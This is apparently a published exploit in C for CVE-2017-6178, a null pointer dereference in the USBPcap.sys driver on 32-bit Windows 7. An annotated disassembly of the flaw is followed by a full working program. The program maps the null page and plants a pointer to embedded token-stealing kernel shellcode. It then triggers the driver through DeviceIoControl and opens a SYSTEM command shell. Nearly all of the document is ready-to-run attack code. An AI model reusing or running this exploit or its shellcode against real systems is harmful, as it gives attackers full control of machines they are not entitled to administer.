/*
Exploit Title - USBPcap Null Pointer Dereference Privilege Escalation
Date - 07th March 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://desowin.org/usbpcap/
Tested Version - 1.1.0.0 (USB Packet capture for Windows bundled with WireShark 2.2.5)
Driver Version - 1.1.0.0 - USBPcap.sys
Tested on OS - 32bit Windows 7 SP1
CVE ID - CVE-2017-6178
Vendor fix url - not yet
Fixed Version - 0day
Fixed driver ver - 0day
USBPcap.sys
-----------
.text:992AF494 loc_992AF494:
.text:992AF494 mov ecx, [edi+8] ; DeviceObject
.text:992AF494
.text:992AF497 inc byte ptr [esi+23h]
.text:992AF49A add dword ptr [esi+60h], 24h
.text:992AF49E mov edx, esi ; Irp
.text:992AF4A0 call ds:IofCallDriver ; IofCallDriver function called without validating values !!!
.text:992AF4A6 push 18h ; RemlockSize
.text:992AF4A8 push esi ; Tag
.text:992AF4A9 push ebx ; RemoveLock
.text:992AF4AA mov edi, eax
.text:992AF4AC call ds:IoReleaseRemoveLockEx
.text:992AF4B2 mov eax, edi
kd> u nt!IofCallDriver
.
.
.
82a7111b eb0c jmp nt!IofCallDriver+0x63 (82a71129)
82a7111d 8b4608 mov eax,dword ptr [esi+8] ds:0023:00000008=???????? <------------ null pointer dereference
82a71120 52 push edx
82a71121 0fb6c9 movzx ecx,cl
82a71124 56 push esi
82a71125 ff548838 call dword ptr [eax+ecx*4+38h] <------------ control flow of execution
82a71129 5e pop esi
82a7112a 59 pop ecx
82a7112b 5d pop ebp
82a7112c c3 ret
*/
#include <stdio.h>
#include <windows.h>
#define BUFSIZE 4096
typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
// Windows 7 SP1
#define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct
#define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct
#define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct
BYTE token_steal_w7[] =
{
0x60, // pushad Saves all registers
0x64,0xA1,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS
0x8b,0xc8, // mov ecx, eax Current _EPROCESS structure
0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN] Retrieves TOKEN
0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+W7_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
0x75,0xe8, // jne ----
0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN] Retrieves TOKEN and stores on EDX
0x89,0x91,0xF8,0x00,0x00,0x00, // mov [ecx+W7_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
0x61, // popad Restores all registers
0x83,0xc4,0x18, // add esp,18
0xc3 // ret
};
void spawnShell()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
return;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int main(int argc, char *argv[])
{
_NtAllocateVirtualMemory NtAllocateVirtualMemory;
LPVOID addrtoshell;
NTSTATUS allocstatus;
LPVOID base_addr = (LPVOID)0x00000001;
DWORD written;
int rwresult;
int size = BUFSIZE;
HANDLE hDevice;
DWORD dwRetBytes = 0;
unsigned char buffer[BUFSIZE];
unsigned char devhandle[MAX_PATH];
printf("-------------------------------------------------------------------------------\n");
printf(" USBPCAP (usbpcap.sys) Null Pointer Dereference EoP Exploit \n");
printf(" Tested on Windows 7 SP1 (32bit) \n");
printf("-------------------------------------------------------------------------------\n\n");
sprintf(devhandle, "\\\\.\\%s", "usbpcap1");
addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(addrtoshell == NULL)
{
printf("[-] VirtualAlloc memory allocation failure %.8x\n\n", GetLastError());
return -1;
}
printf("[+] VirtualAlloc memory allocated at %p\n", addrtoshell);
memcpy(addrtoshell, token_steal_w7, sizeof(token_steal_w7));
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7));
NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory)
{
printf("[-] Unable to resolve NtAllocateVirtualMemory\n");
return -1;
}
printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory);
printf("[+] Allocating memory at [0x%p]\n", base_addr);
allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocstatus)
{
printf("[-] An error occured while mapping executable memory (0x%08x) %d\n\n", allocstatus, GetLastError());
return -1;
}
printf("[+] NtAllocateVirtualMemory successful\n");
memset(buffer, 0x00, BUFSIZE);
memcpy(buffer+0x0000006b, &addrtoshell, 4);
rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);
if (rwresult == 0)
{
printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());
return -1;
}
printf("[+] WriteProcessMemory %d bytes written\n", written);
printf("[+] Device handle %s\n", devhandle);
hDevice = CreateFile(devhandle, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
return -1;
}
else
{
printf("[+] Open %s device successful\n", devhandle);
}
printf("[~] Press any key to send Exploit . . .\n");
getch();
DeviceIoControl(hDevice, 0x00090028, NULL, 0, NULL, 0, &dwRetBytes, NULL);
CloseHandle(hDevice);
printf("[+] Spawning SYSTEM Shell\n");
spawnShell();
return 0;
}
